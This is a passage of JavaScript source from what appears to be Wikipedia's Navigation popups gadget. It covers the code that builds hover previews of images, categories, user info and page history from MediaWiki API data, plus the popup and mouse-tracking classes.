page.revisions[0].slots.main.contentmodel === 'wikitext' ?
page.revisions[0].slots.main.content :
null;
let ret = '';
let alt = '';
try {
alt = navpop.parentAnchor.childNodes[0].alt;
} catch (e) {}
if (alt) {
ret = ret + '<hr /><b>' + popupString('Alt text:') + '</b> ' + pg.escapeQuotesHTML(alt);
}
if (typeof content === 'string') {
const p = prepPreviewmaker(content, article, navpop);
p.makePreview();
if (p.html) {
ret += '<hr />' + p.html;
}
if (getValueOf('popupSummaryData')) {
const info = getPageInfo(content, download);
log(info);
setPopupTrailer(info, navpop.idNumber);
}
}
if (page && page.imagerepository == 'shared') {
const art = new Title(article);
const encart = encodeURIComponent('File:' + art.stripNamespace());
const shared_url =
pg.wiki.apicommonsbase +
'?format=json&formatversion=2' +
'&callback=pg.fn.APIsharedImagePagePreviewHTML' +
'&requestid=' +
navpop.idNumber +
'&action=query&prop=revisions&rvslots=main&rvprop=content&titles=' +
encart;
ret =
ret +
'<hr />' +
popupString('Image from Commons') +
': <a href="' +
pg.wiki.commonsbase +
'?title=' +
encart +
'">' +
popupString('Description page') +
'</a>';
mw.loader.load(shared_url);
}
showAPIPreview(
'imagelinks',
APIimagelinksPreviewHTML(article, download),
navpop.idNumber,
download
);
return ret;
} catch (someError) {
return 'API imagepage preview failed :(';
}
}
function APIimagelinksPreviewHTML(article, download) {
try {
const jsobj = getJsObj(download.data);
const list = jsobj.query.imageusage;
if (list) {
const ret = [];
for (let i = 0; i < list.length; i++) {
ret.push(list[i].title);
}
if (ret.length === 0) {
return popupString('No image links found');
}
return '<h2>' + popupString('File links') + '</h2>' + linkList(ret);
} else {
return popupString('No image links found');
}
} catch (someError) {
return 'Image links preview generation failed :(';
}
}
function APIcategoryPreviewHTML(article, download) {
try {
const jsobj = getJsObj(download.data);
const list = jsobj.query.categorymembers;
let ret = [];
for (let p = 0; p < list.length; p++) {
ret.push(list[p].title);
}
if (ret.length === 0) {
return popupString('Empty category');
}
ret = '<h2>' + tprintf('Category members (%s shown)', [ret.length]) + '</h2>' + linkList(ret);
if (jsobj.continue && jsobj.continue.cmcontinue) {
ret += popupString(' and more');
}
return ret;
} catch (someError) {
return 'Category preview failed :(';
}
}
function APIuserInfoPreviewHTML(article, download) {
let ret = [];
let queryobj = {};
try {
queryobj = getJsObj(download.data).query;
} catch (someError) {
return 'Userinfo preview failed :(';
}
const user = anyChild(queryobj.users);
if (user) {
const globaluserinfo = queryobj.globaluserinfo;
if (user.invalid === '') {
ret.push(popupString('Invalid user'));
} else if (user.missing === '') {
ret.push(popupString('Not a registered username'));
}
if (user.blockedby) {
if (user.blockpartial) {
ret.push('<b>' + popupString('Has blocks') + '</b>');
} else {
ret.push('<b>' + popupString('BLOCKED') + '</b>');
}
}
if (globaluserinfo && ('locked' in globaluserinfo || 'hidden' in globaluserinfo)) {
let lockedSulAccountIsAttachedToThis = true;
for (let i = 0; globaluserinfo.unattached && i < globaluserinfo.unattached.length; i++) {
if (globaluserinfo.unattached[i].wiki === mw.config.get('wgDBname')) {
lockedSulAccountIsAttachedToThis = false;
break;
}
}
if (lockedSulAccountIsAttachedToThis) {
if ('locked' in globaluserinfo) {
ret.push('<b><i>' + popupString('LOCKED') + '</i></b>');
}
if ('hidden' in globaluserinfo) {
ret.push('<b><i>' + popupString('HIDDEN') + '</i></b>');
}
}
}
if (getValueOf('popupShowGender') && user.gender) {
switch (user.gender) {
case 'male':
ret.push(popupString('he/him') + ' · ');
break;
case 'female':
ret.push(popupString('she/her') + ' · ');
break;
}
}
if (user.groups) {
user.groups.forEach((groupName) => {
if (['*', 'user', 'autoconfirmed', 'extendedconfirmed', 'oathauth-twofactorauth'].indexOf(groupName) === -1) {
ret.push(
pg.escapeQuotesHTML(mw.message('group-' + groupName + '-member', user.gender).text())
);
}
});
}
if (globaluserinfo && globaluserinfo.groups) {
globaluserinfo.groups.forEach((groupName) => {
ret.push(
'<i>' +
pg.escapeQuotesHTML(
mw.message('group-' + groupName + '-member', user.gender).text()
) +
'</i>'
);
});
}
if (user.registration) {
ret.push(
pg.escapeQuotesHTML(
(user.editcount ? user.editcount : '0') +
popupString(' edits since: ') +
(user.registration ? formattedDate(new Date(user.registration)) : '')
)
);
}
}
if (queryobj.usercontribs && queryobj.usercontribs.length) {
ret.push(
popupString('last edit on ') + formattedDate(new Date(queryobj.usercontribs[0].timestamp))
);
}
if (queryobj.blocks) {
ret.push(popupString('IP user')); //we only request list=blocks for IPs
for (let l = 0; l < queryobj.blocks.length; l++) {
let rbstr =
queryobj.blocks[l].rangestart === queryobj.blocks[l].rangeend ? 'BLOCK' : 'RANGEBLOCK';
rbstr = !Array.isArray(queryobj.blocks[l].restrictions) ?
'Has ' + rbstr.toLowerCase() + 's' :
rbstr + 'ED';
ret.push('<b>' + popupString(rbstr) + '</b>');
}
}
// if any element of ret ends with ' · ', merge it with the next element to avoid
// the .join(', ') call inserting a comma after it
for (let m = 0; m < ret.length - 1; m++) {
if (ret[m].length > 3 && ret[m].substring(ret[m].length - 3) === ' · ') {
ret[m] = ret[m] + ret[m + 1];
ret.splice(m + 1, 1); // delete element at index m+1
m--;
}
}
ret = '<hr />' + ret.join(', ');
return ret;
}
function APIcontribsPreviewHTML(article, download, navpop) {
return APIhistoryPreviewHTML(article, download, navpop, true);
}
function APIhistoryPreviewHTML(article, download, navpop, reallyContribs) {
try {
const jsobj = getJsObj(download.data);
let edits = [];
if (reallyContribs) {
edits = jsobj.query.usercontribs;
} else {
edits = anyChild(jsobj.query.pages).revisions;
}
const ret = editPreviewTable(article, edits, reallyContribs);
return ret;
} catch (someError) {
return popupString('History preview failed');
}
}
// ENDFILE: querypreview.js
// STARTFILE: debug.js
////////////////////////////////////////////////////////////////////
// Debugging functions
////////////////////////////////////////////////////////////////////
function setupDebugging() {
if (window.popupDebug) {
// popupDebug is set from .version
window.log = function (x) {
//if(gMsg!='')gMsg += '\n'; gMsg+=time() + ' ' + x; };
window.console.log(x);
};
window.errlog = function (x) {
window.console.error(x);
};
log('Initializing logger');
} else {
window.log = function () {};
window.errlog = function () {};
}
}
// ENDFILE: debug.js
// STARTFILE: images.js
// load image of type Title.
function loadImage(image, navpop) {
if (typeof image.stripNamespace != 'function') {
alert('loadImages bad');
}
// API call to retrieve image info.
if (!getValueOf('popupImages')) {
return;
}
if (!isValidImageName(image)) {
return false;
}
const art = image.urlString();
let url = pg.wiki.apiwikibase + '?format=json&formatversion=2&action=query';
url += '&prop=imageinfo&iiprop=url|mime&iiurlwidth=' + getValueOf('popupImageSizeLarge');
url += '&titles=' + art;
pendingNavpopTask(navpop);
const callback = function (d) {
popupsInsertImage(navpop.idNumber, navpop, d);
};
const go = function () {
getPageWithCaching(url, callback, navpop);
return true;
};
if (navpop.visible || !getValueOf('popupLazyDownloads')) {
go();
} else {
navpop.addHook(go, 'unhide', 'after', 'DOWNLOAD_IMAGE_QUERY_DATA');
}
}
function popupsInsertImage(id, navpop, download) {
log('popupsInsertImage');
let imageinfo;
try {
const jsObj = getJsObj(download.data);
const imagepage = anyChild(jsObj.query.pages);
if (typeof imagepage.imageinfo === 'undefined') {
return;
}
imageinfo = imagepage.imageinfo[0];
} catch (someError) {
log('popupsInsertImage failed :(');
return;
}
const popupImage = document.getElementById('popupImg' + id);
if (!popupImage) {
log('could not find insertion point for image');
return;
}
popupImage.width = getValueOf('popupImageSize');
popupImage.style.display = 'inline';
// Set the source for the image.
if (imageinfo.thumburl) {
popupImage.src = imageinfo.thumburl;
} else if (imageinfo.mime.indexOf('image') === 0) {
popupImage.src = imageinfo.url;
log('a thumb could not be found, using original image');
} else {
log("fullsize imagethumb, but not sure if it's an image");
}
const a = document.getElementById('popupImageLink' + id);
if (a === null) {
return null;
}
// Determine the action of the surrouding imagelink.
switch (getValueOf('popupThumbAction')) {
case 'imagepage':
if (pg.current.article.namespaceId() != pg.nsImageId) {
a.href = imageinfo.descriptionurl;
// FIXME: unreliable pg.idNumber
popTipsSoonFn('popupImage' + id)();
break;
}
/* falls through */
case 'sizetoggle':
a.onclick = toggleSize;
a.title = popupString('Toggle image size');
return;
case 'linkfull':
a.href = imageinfo.url;
a.title = popupString('Open full-size image');
return;
}
}
// Toggles the image between inline small and navpop fullwidth.
// It's the same image, no actual sizechange occurs, only display width.
function toggleSize() {
const imgContainer = this;
if (!imgContainer) {
alert('imgContainer is null :/');
return;
}
const img = imgContainer.firstChild;
if (!img) {
alert('img is null :/');
return;
}
if (!img.style.width || img.style.width === '') {
img.style.width = '100%';
} else {
img.style.width = '';
}
}
// Returns one title of an image from wikiText.
function getValidImageFromWikiText(wikiText) {
// nb in pg.re.image we're interested in the second bracketed expression
// this may change if the regex changes :-(
//var match=pg.re.image.exec(wikiText);
let matched = null;
let match;
// strip html comments, used by evil bots :-(
const t = removeMatchesUnless(
wikiText,
/(<!--[\s\S]*?-->)/,
1,
/^<!--[^[]*popup/i
);
while ((match = pg.re.image.exec(t))) {
// now find a sane image name - exclude templates by seeking {
const m = match[2] || match[6];
if (isValidImageName(m)) {
matched = m;
break;
}
}
pg.re.image.lastIndex = 0;
if (!matched) {
return null;
}
return mw.config.get('wgFormattedNamespaces')[pg.nsImageId] + ':' + upcaseFirst(matched);
}
function removeMatchesUnless(str, re1, parencount, re2) {
const split = str.parenSplit(re1);
const c = parencount + 1;
for (let i = 0; i < split.length; ++i) {
if (i % c === 0 || re2.test(split[i])) {
continue;
}
split[i] = '';
}
return split.join('');
}
// ENDFILE: images.js
// STARTFILE: namespaces.js
// Set up namespaces and other non-strings.js localization
// (currently that means redirs too)
function setNamespaces() {
pg.nsSpecialId = -1;
pg.nsMainspaceId = 0;
pg.nsImageId = 6;
pg.nsUserId = 2;
pg.nsUsertalkId = 3;
pg.nsCategoryId = 14;
pg.nsTemplateId = 10;
}
function setRedirs() {
const r = 'redirect';
const R = 'REDIRECT';
const redirLists = {
ar: [R, 'تحويل'],
be: [r, 'перанакіраваньне'],
bg: [r, 'пренасочване', 'виж'],
bs: [r, 'Preusmjeri', 'preusmjeri', 'PREUSMJERI'],
bn: [R, 'পুনর্নির্দেশ'],
cs: [R, 'PŘESMĚRUJ'],
cy: [r, 'ail-cyfeirio'],
de: [R, 'WEITERLEITUNG'],
el: [R, 'ΑΝΑΚΑΤΕΥΘΥΝΣΗ'],
eo: [R, 'ALIDIREKTU', 'ALIDIREKTI'],
es: [R, 'REDIRECCIÓN'],
et: [r, 'suuna'],
ga: [r, 'athsheoladh'],
gl: [r, 'REDIRECCIÓN', 'REDIRECIONAMENTO'],
he: [R, 'הפניה'],
hu: [R, 'ÁTIRÁNYÍTÁS'],
is: [r, 'tilvísun', 'TILVÍSUN'],
it: [R, 'RINVIA', 'Rinvia'],
ja: [R, '転送'],
mk: [r, 'пренасочување', 'види'],
nds: [r, 'wiederleiden'],
'nds-nl': [R, 'DEURVERWIEZING', 'DUURVERWIEZING'],
nl: [R, 'DOORVERWIJZING'],
nn: [r, 'omdiriger'],
pl: [R, 'PATRZ', 'PRZEKIERUJ', 'TAM'],
pt: [R, 'redir'],
ru: [R, 'ПЕРЕНАПРАВЛЕНИЕ', 'ПЕРЕНАПР'],
sk: [r, 'presmeruj'],
sr: [r, 'Преусмери', 'преусмери', 'ПРЕУСМЕРИ', 'Preusmeri', 'preusmeri', 'PREUSMERI'],
tr: [R, 'YÖNLENDİRME', 'yönlendirme', 'YÖNLENDİR', 'yönlendir'],
tt: [R, 'yünältü', 'перенаправление', 'перенапр'],
uk: [R, 'ПЕРЕНАПРАВЛЕННЯ', 'ПЕРЕНАПР'],
vi: [r, 'đổi'],
yi: [R, 'ווייטערפירן'],
zh: [R, '重定向'], // no comma
};
const redirList = redirLists[pg.wiki.lang] || [r, R];
// Mediawiki is very tolerant about what comes after the #redirect at the start
pg.re.redirect = RegExp(
'^\\s*[#](' + redirList.join('|') + ').*?\\[{2}([^\\|\\]]*)(|[^\\]]*)?\\]{2}\\s*(.*)',
'i'
);
}
function setInterwiki() {
if (pg.wiki.wikimedia) {
// From https://meta.wikimedia.org/wiki/List_of_Wikipedias
//en.wikipedia.org/w/api.php?action=sitematrix&format=json&smtype=language&smlangprop=code&formatversion=2
pg.wiki.interwiki =
'aa|ab|ace|af|ak|als|am|an|ang|ar|arc|arz|as|ast|av|ay|az|ba|bar|bat-smg|bcl|be|be-x-old|bg|bh|bi|bjn|bm|bn|bo|bpy|br|bs|bug|bxr|ca|cbk-zam|cdo|ce|ceb|ch|cho|chr|chy|ckb|co|cr|crh|cs|csb|cu|cv|cy|da|de|diq|dsb|dv|dz|ee|el|eml|en|eo|es|et|eu|ext|fa|ff|fi|fiu-vro|fj|fo|fr|frp|frr|fur|fy|ga|gag|gan|gd|gl|glk|gn|got|gu|gv|ha|hak|haw|he|hi|hif|ho|hr|hsb|ht|hu|hy|hz|ia|id|ie|ig|ii|ik|ilo|io|is|it|iu|ja|jbo|jv|ka|kaa|kab|kbd|kg|ki|kj|kk|kl|km|kn|ko|koi|kr|krc|ks|ksh|ku|kv|kw|ky|la|lad|lb|lbe|lg|li|lij|lmo|ln|lo|lt|ltg|lv|map-bms|mdf|mg|mh|mhr|mi|mk|ml|mn|mo|mr|mrj|ms|mt|mus|mwl|my|myv|mzn|na|nah|nap|nds|nds-nl|ne|new|ng|nl|nn|no|nov|nrm|nv|ny|oc|om|or|os|pa|pag|pam|pap|pcd|pdc|pfl|pi|pih|pl|pms|pnb|pnt|ps|pt|qu|rm|rmy|rn|ro|roa-rup|roa-tara|ru|rue|rw|sa|sah|sc|scn|sco|sd|se|sg|sh|si|simple|sk|sl|sm|sn|so|sq|sr|srn|ss|st|stq|su|sv|sw|szl|ta|te|tet|tg|th|ti|tk|tl|tn|to|tpi|tr|ts|tt|tum|tw|ty|udm|ug|uk|ur|uz|ve|vec|vi|vls|vo|wa|war|wo|wuu|xal|xh|yi|yo|za|zea|zh|zh-classical|zh-min-nan|zh-yue|zu';
pg.re.interwiki = RegExp('^' + pg.wiki.interwiki + ':');
} else {
pg.wiki.interwiki = null;
pg.re.interwiki = /^$/;
}
}
// return a regexp pattern matching all variants to write the given namespace
function nsRe(namespaceId) {
const imageNamespaceVariants = [];
$.each(mw.config.get('wgNamespaceIds'), (_localizedNamespaceLc, _namespaceId) => {
if (_namespaceId != namespaceId) {
return;
}
_localizedNamespaceLc = upcaseFirst(_localizedNamespaceLc);
imageNamespaceVariants.push(
mw.util.escapeRegExp(_localizedNamespaceLc).split(' ').join('[ _]')
);
imageNamespaceVariants.push(mw.util.escapeRegExp(encodeURI(_localizedNamespaceLc)));
});
return '(?:' + imageNamespaceVariants.join('|') + ')';
}
function nsReImage() {
return nsRe(pg.nsImageId);
}
// ENDFILE: namespaces.js
// STARTFILE: selpop.js
function getEditboxSelection() {
// see http://www.webgurusforum.com/8/12/0
let editbox;
try {
editbox = document.editform.wpTextbox1;
} catch (dang) {
return;
}
// IE, Opera
if (document.selection) {
return document.selection.createRange().text;
}
// Mozilla
const selStart = editbox.selectionStart;
const selEnd = editbox.selectionEnd;
return editbox.value.substring(selStart, selEnd);
}
function doSelectionPopup() {
// popup if the selection looks like [[foo|anything afterwards at all
// or [[foo|bar]]text without ']]'
// or [[foo|bar]]
const sel = getEditboxSelection();
const open = sel.indexOf('[[');
const pipe = sel.indexOf('|');
const close = sel.indexOf(']]');
if (open == -1 || (pipe == -1 && close == -1)) {
return;
}
if ((pipe != -1 && open > pipe) || (close != -1 && open > close)) {
return;
}
const article = new Title(sel.substring(open + 2, pipe < 0 ? close : pipe));
if (getValueOf('popupOnEditSelection') == 'boxpreview') {
return doSeparateSelectionPopup(sel, article);
}
if (close > 0 && sel.substring(close + 2).indexOf('[[') >= 0) {
return;
}
const a = document.createElement('a');
a.href = pg.wiki.titlebase + article.urlString();
mouseOverWikiLink2(a);
if (a.navpopup) {
a.navpopup.addHook(
() => {
runStopPopupTimer(a.navpopup);
},
'unhide',
'after'
);
}
}
function doSeparateSelectionPopup(str, article) {
let div = document.getElementById('selectionPreview');
if (!div) {
div = document.createElement('div');
div.id = 'selectionPreview';
try {
const box = document.editform.wpTextbox1;
box.parentNode.insertBefore(div, box);
} catch (error) {
return;
}
}
const p = prepPreviewmaker(str, article, newNavpopup(document.createElement('a'), article));
p.makePreview();
if (p.html) {
div.innerHTML = p.html;
}
div.ranSetupTooltipsAlready = false;
popTipsSoonFn('selectionPreview')();
}
// ENDFILE: selpop.js
// STARTFILE: navpopup.js
/**
* @file Defines two classes: {@link Navpopup} and {@link Mousetracker}.
*
* <code>Navpopup</code> describes popups: when they appear, where, what
* they look like and so on.
*
* <code>Mousetracker</code> "captures" the mouse using
* <code>document.onmousemove</code>.
*/
/**
* Creates a new Mousetracker.
*
* @constructor
* @class The Mousetracker class. This monitors mouse movements and manages associated hooks.
*/
function Mousetracker() {
/**
* Interval to regularly run the hooks anyway, in milliseconds.
*
* @type {number}
*/
this.loopDelay = 400;
/**
* Timer for the loop.
*
* @type {Timer}
*/
this.timer = null;
/**
* Flag - are we switched on?
*
* @type {boolean}
*/
this.active = false;
/**
* Flag - are we probably inaccurate, i.e. not reflecting the actual mouse position?
*/
this.dirty = true;
/**
* Array of hook functions.
*
* @private
* @type {Array}
*/
this.hooks = [];
}
/**
* Adds a hook, to be called when we get events.
*
* @param {Function} f A function which is called as
* <code>f(x,y)</code>. It should return <code>true</code> when it
* wants to be removed, and <code>false</code> otherwise.
*/
Mousetracker.prototype.addHook = function (f) {
this.hooks.push(f);
};
/**
* Runs hooks, passing them the x
* and y coords of the mouse. Hook functions that return true are
* passed to {@link Mousetracker#removeHooks} for removal.
*
* @private
*/
Mousetracker.prototype.runHooks = function () {
if (!this.hooks || !this.hooks.length) {
return;
}
//log('Mousetracker.runHooks; we got some hooks to run');
let remove = false;
const removeObj = {};
// this method gets called a LOT -
// pre-cache some variables
const x = this.x,
y = this.y,
len = this.hooks.length;
for (let i = 0; i < len; ++i) {
//~ run the hook function, and remove it if it returns true
if (this.hooks[i](x, y) === true) {
remove = true;
removeObj[i] = true;
}
}
if (remove) {
this.removeHooks(removeObj);
}
};
/**
* Removes hooks.
*
* @private
* @param {Object} removeObj An object whose keys are the index
* numbers of functions for removal, with values that evaluate to true
*/
Mousetracker.prototype.removeHooks = function (removeObj) {
const newHooks = [];
const len = this.hooks.length;
for (let i = 0; i < len; ++i) {
if (!removeObj[i]) {
newHooks.push(this.hooks[i]);
}
}
this.hooks = newHooks;
};
/**
* Event handler for mouse wiggles.
* We simply grab the event, set x and y and run the hooks.
* This makes the cpu all hot and bothered :-(
*
* @private
* @param {Event} e Mousemove event
*/
Mousetracker.prototype.track = function (e) {
//~ Apparently this is needed in IE.
e = e || window.event;
let x, y;
if (e) {
if (e.pageX) {
x = e.pageX;
y = e.pageY;
} else if (typeof e.clientX != 'undefined') {
let left,
top,
docElt = document.documentElement;
if (docElt) {
left = docElt.scrollLeft;
}
left = left || document.body.scrollLeft || document.scrollLeft || 0;
if (docElt) {
top = docElt.scrollTop;
}
top = top || document.body.scrollTop || document.scrollTop || 0;
x = e.clientX + left;
y = e.clientY + top;
} else {
return;
}
this.setPosition(x, y);
}
};
/**
* Sets the x and y coordinates stored and takes appropriate action,
* running hooks as appropriate.
*
* @param {number} x Screen coordinates to set
* @param {number} y Screen coordinates to set
*/
Mousetracker.prototype.setPosition = function (x, y) {
this.x = x;
this.y = y;
if (this.dirty || this.hooks.length === 0) {
this.dirty = false;
return;
}
if (typeof this.lastHook_x != 'number') {
this.lastHook_x = -100;
this.lastHook_y = -100;
}
let diff = (this.lastHook_x - x) * (this.lastHook_y - y);
diff = diff >= 0 ? diff : -diff;
if (diff > 1) {
this.lastHook_x = x;
this.lastHook_y = y;
if (this.dirty) {
this.dirty = false;
} else {
this.runHooks();
}
}
};
/**
* Sets things in motion, unless they are already that is, registering an event handler on
* <code>document.onmousemove</code>. A half-hearted attempt is made to preserve the old event
* handler if there is one.
*/
Mousetracker.prototype.enable = function () {
if (this.active) {
return;
}
this.active = true;
//~ Save the current handler for mousemove events. This isn't too
//~ robust, of course.
this.savedHandler = document.onmousemove;
//~ Gotta save @tt{this} again for the closure, and use apply for
//~ the member function.
const savedThis = this;
document.onmousemove = function (e) {
savedThis.track.apply(savedThis, [e]);
};
if (this.loopDelay) {
this.timer = setInterval(() => {
//log('loop delay in mousetracker is working');
savedThis.runHooks();
}, this.loopDelay);
}
};
/**
* Disables the tracker, removing the event handler.
*/
Mousetracker.prototype.disable = function () {
if (!this.active) {
return;
}
if (typeof this.savedHandler === 'function') {
document.onmousemove = this.savedHandler;
} else {
delete document.onmousemove;
}
if (this.timer) {
clearInterval(this.timer);
}
this.active = false;
};
/**
* Creates a new Navpopup.
* Gets a UID for the popup and
*
* @param init Contructor object. If <code>init.draggable</code> is true or absent, the popup becomes draggable.
* @constructor
* @class The Navpopup class. This generates popup hints, and does some management of them.
*/
function Navpopup(/*init*/) {
//alert('new Navpopup(init)');
/**
* UID for each Navpopup instance.
* Read-only.
*
* @type {number}
*/
this.uid = Navpopup.uid++;
/**
* Read-only flag for current visibility of the popup.
*
* @type {boolean}
* @private
*/
this.visible = false;
/** Flag to be set when we want to cancel a previous request to
* show the popup in a little while.
*
* @private
* @type {boolean}
*/
this.noshow = false;
/** Categorised list of hooks.
* @see #runHooks
* @see #addHook
* @private
* @type {Object}
*/
this.hooks = {
create: [],
unhide: [],
hide: [],
};
/**
* list of unique IDs of hook functions, to avoid duplicates
*
* @private
*/
this.hookIds = {};
/** List of downloads associated with the popup.
* @private
* @type {Array}
*/
this.downloads = [];
/**
* Number of uncompleted downloads.
*
* @type {number}
*/
this.pending = null;
/**
* Tolerance in pixels when detecting whether the mouse has left the popup.
*
* @type {number}
*/
this.fuzz = 5;
/**
* Flag to toggle running {@link #limitHorizontalPosition} to regulate the popup's position.
*
* @type {boolean}
*/
this.constrained = true;
/**
* The popup width in pixels.
*
* @private
* @type {number}
*/
this.width = 0;
/**
* The popup width in pixels.
*
* @private
* @type {number}
*/
this.height = 0;
/**
* The main content DIV element.
*
* @type {HTMLDivElement}
*/
this.mainDiv = null;
this.createMainDiv();
// if (!init || typeof init.popups_draggable=='undefined' || init.popups_draggable) {
// this.makeDraggable(true);
// }
}
/**
* A UID for each Navpopup. This constructor property is just a counter.
*
* @type {number}
* @private
*/
Navpopup.uid = 0;
/**
* Retrieves the {@link #visible} attribute, indicating whether the popup is currently visible.
*
* @type {boolean}
*/
Navpopup.prototype.isVisible = function () {
return this.visible;
};
/**
* Repositions popup using CSS style.
*
* @private
* @param {number} x x-coordinate (px)
* @param {number} y y-coordinate (px)
* @param {boolean} noLimitHor Don't call {@link #limitHorizontalPosition}
*/
Navpopup.prototype.reposition = function (x, y, noLimitHor) {
log('reposition(' + x + ',' + y + ',' + noLimitHor + ')');
if (typeof x != 'undefined' && x !== null) {
this.left = x;
}
if (typeof y != 'undefined' && y !== null) {
this.top = y;
}
if (typeof this.left != 'undefined' && typeof this.top != 'undefined') {
this.mainDiv.style.left = this.left + 'px';
this.mainDiv.style.top = this.top + 'px';
}
if (!noLimitHor) {
this.limitHorizontalPosition();
}
//console.log('navpop'+this.uid+' - (left,top)=(' + this.left + ',' + this.top + '), css=('
//+ this.mainDiv.style.left + ',' + this.mainDiv.style.top + ')');
};
/**
* Prevents popups from being in silly locations. Hopefully.
* Should not be run if {@link #constrained} is true.
*
* @private
*/
Navpopup.prototype.limitHorizontalPosition = function () {
if (!this.constrained || this.tooWide) {
return;
}
this.updateDimensions();
const x = this.left;
const w = this.width;
const cWidth = document.body.clientWidth;
// log('limitHorizontalPosition: x='+x+
// ', this.left=' + this.left +
// ', this.width=' + this.width +
// ', cWidth=' + cWidth);
if (
x + w >= cWidth ||
(x > 0 &&
this.maxWidth &&
this.width < this.maxWidth &&
this.height > this.width &&
x > cWidth - this.maxWidth)
) {
// This is a very nasty hack. There has to be a better way!
// We find the "natural" width of the div by positioning it at the far left
// then reset it so that it should be flush right (well, nearly)
this.mainDiv.style.left = '-10000px';
this.mainDiv.style.width = this.maxWidth + 'px';
const naturalWidth = parseInt(this.mainDiv.offsetWidth, 10);
let newLeft = cWidth - naturalWidth - 1;
if (newLeft < 0) {
newLeft = 0;
this.tooWide = true;
} // still unstable for really wide popups?
log(
'limitHorizontalPosition: moving to (' +
newLeft +
',' +
this.top +
');' +
' naturalWidth=' +
naturalWidth +
', clientWidth=' +
cWidth
);
this.reposition(newLeft, null, true);
}
};
/**
* Counter indicating the z-order of the "highest" popup.
* We start the z-index at 1000 so that popups are above everything
* else on the screen.
*
* @private
* @type {number}
*/
Navpopup.highest = 1000;
/**
* Brings popup to the top of the z-order.
* We increment the {@link #highest} property of the contructor here.
*
* @private
*/
Navpopup.prototype.raise = function () {
this.mainDiv.style.zIndex = Navpopup.highest + 1;
++Navpopup.highest;
};
/**
* Shows the popup provided {@link #noshow} is not true.
* Updates the position, brings the popup to the top of the z-order and unhides it.
*/
Navpopup.prototype.show = function () {
//document.title+='s';
if (this.noshow) {
return;
}
//document.title+='t';
this.reposition();
this.raise();
this.unhide();
};
/**
* Checks to see if the mouse pointer has
* stabilised (checking every <code>time</code>/2 milliseconds) and runs the
* {@link #show} method if it has.
*
* @param {number} time The minimum time (ms) before the popup may be shown.
*/
Navpopup.prototype.showSoonIfStable = function (time) {
log('showSoonIfStable, time=' + time);
if (this.visible) {
return;
}
this.noshow = false;
//~ initialize these variables so that we never run @tt{show} after
//~ just half the time
this.stable_x = -10000;
this.stable_y = -10000;
const stableShow = function () {
log('stableShow called');
let new_x = Navpopup.tracker.x,
new_y = Navpopup.tracker.y;
let dx = savedThis.stable_x - new_x,
dy = savedThis.stable_y - new_y;
let fuzz2 = 0; // savedThis.fuzz * savedThis.fuzz;
//document.title += '[' + [savedThis.stable_x,new_x, savedThis.stable_y,new_y, dx, dy, fuzz2].join(',') + '] ';
if (dx * dx <= fuzz2 && dy * dy <= fuzz2) {
log('mouse is stable');
clearInterval(savedThis.showSoonStableTimer);
savedThis.reposition.apply(savedThis, [new_x + 2, new_y + 2]);
savedThis.show.apply(savedThis, []);
savedThis.limitHorizontalPosition.apply(savedThis, []);
return;
}
savedThis.stable_x = new_x;
savedThis.stable_y = new_y;
};
var savedThis = this;
this.showSoonStableTimer = setInterval(stableShow, time / 2);
};
/**
* Sets the {@link #noshow} flag and hides the popup. This should be called
* when the mouse leaves the link before
* (or after) it's actually been displayed.
*/
Navpopup.prototype.banish = function () {
log('banish called');
// hide and prevent showing with showSoon in the future
this.noshow = true;
if (this.showSoonStableTimer) {
log('clearing showSoonStableTimer');
clearInterval(this.showSoonStableTimer);
}
this.hide();
};
/**
* Runs hooks added with {@link #addHook}.
*
* @private
* @param {string} key Key name of the {@link #hooks} array - one of 'create', 'unhide', 'hide'
* @param {string} when Controls exactly when the hook is run: either 'before' or 'after'
*/
Navpopup.prototype.runHooks = function (key, when) {
if (!this.hooks[key]) {
return;
}
const keyHooks = this.hooks[key];
const len = keyHooks.length;
for (let i = 0; i < len; ++i) {
if (keyHooks[i] && keyHooks[i].when == when) {
if (keyHooks[i].hook.apply(this, [])) {
// remove the hook
if (keyHooks[i].hookId) {
delete this.hookIds[keyHooks[i].hookId];
}
keyHooks[i] = null;
}
}
}
};
/**
* Adds a hook to the popup. Hook functions are run with <code>this</code> set to refer to the
* Navpopup instance, and no arguments.
*
* @param {Function} hook The hook function. Functions that return true are deleted.
* @param {string} key Key name of the {@link #hooks} array - one of 'create', 'unhide', 'hide'
* @param {String} when Controls exactly when the hook is run: either 'before' or 'after'
* @param {String} uid A truthy string identifying the hook function; if it matches another hook
* in this position, it won't be added again.
*/
Navpopup.prototype.addHook = function (hook, key, when, uid) {
when = when || 'after';
if (!this.hooks[key]) {
return;
}
// if uid is specified, don't add duplicates
let hookId = null;
if (uid) {
hookId = [key, when, uid].join('|');
if (this.hookIds[hookId]) {
return;
}
this.hookIds[hookId] = true;
}
this.hooks[key].push({ hook: hook, when: when, hookId: hookId });
};
/**
* Creates the main DIV element, which contains all the actual popup content.
* Runs hooks with key 'create'.
*
* @private
*/
Navpopup.prototype.createMainDiv = function () {
if (this.mainDiv) {
return;
}
this.runHooks('create', 'before');
const mainDiv = document.createElement('div');
const savedThis = this;
mainDiv.onclick = function (e) {
savedThis.onclickHandler(e);
};
mainDiv.className = this.className ? this.className : 'navpopup_maindiv';
mainDiv.id = mainDiv.className + this.uid;
mainDiv.style.position = 'absolute';
mainDiv.style.minWidth = '350px';
mainDiv.style.display = 'none';
mainDiv.className = 'navpopup';
// easy access to javascript object through DOM functions
mainDiv.navpopup = this;
this.mainDiv = mainDiv;
document.body.appendChild(mainDiv);
this.runHooks('create', 'after');
};
/**
* Calls the {@link #raise} method.
*
* @private
*/
Navpopup.prototype.onclickHandler = function (/*e*/) {
this.raise();
};
/**
* Makes the popup draggable, using a {@link Drag} object.
*
* @private
*/
Navpopup.prototype.makeDraggable = function (handleName) {
if (!this.mainDiv) {
this.createMainDiv();
}
const drag = new Drag();
if (!handleName) {
drag.startCondition = function (e) {
try {
if (!e.shiftKey) {
return false;
}
} catch (err) {
return false;
}
return true;
};
}
let dragHandle;
if (handleName) {
dragHandle = document.getElementById(handleName);
}
if (!dragHandle) {
dragHandle = this.mainDiv;
}
const np = this;
drag.endHook = function (x, y) {
Navpopup.tracker.dirty = true;
np.reposition(x, y);
};
drag.init(dragHandle, this.mainDiv);
};
/**
* Hides the popup using CSS. Runs hooks with key 'hide'.
* Sets {@link #visible} appropriately.
* {@link #banish} should be called externally instead of this method.
*
* @private
*/
Navpopup.prototype.hide = function () {
this.runHooks('hide', 'before');
this.abortDownloads();
if (typeof this.visible != 'undefined' && this.visible) {
this.mainDiv.style.display = 'none';
this.visible = false;
}
this.runHooks('hide', 'after');
};
/**
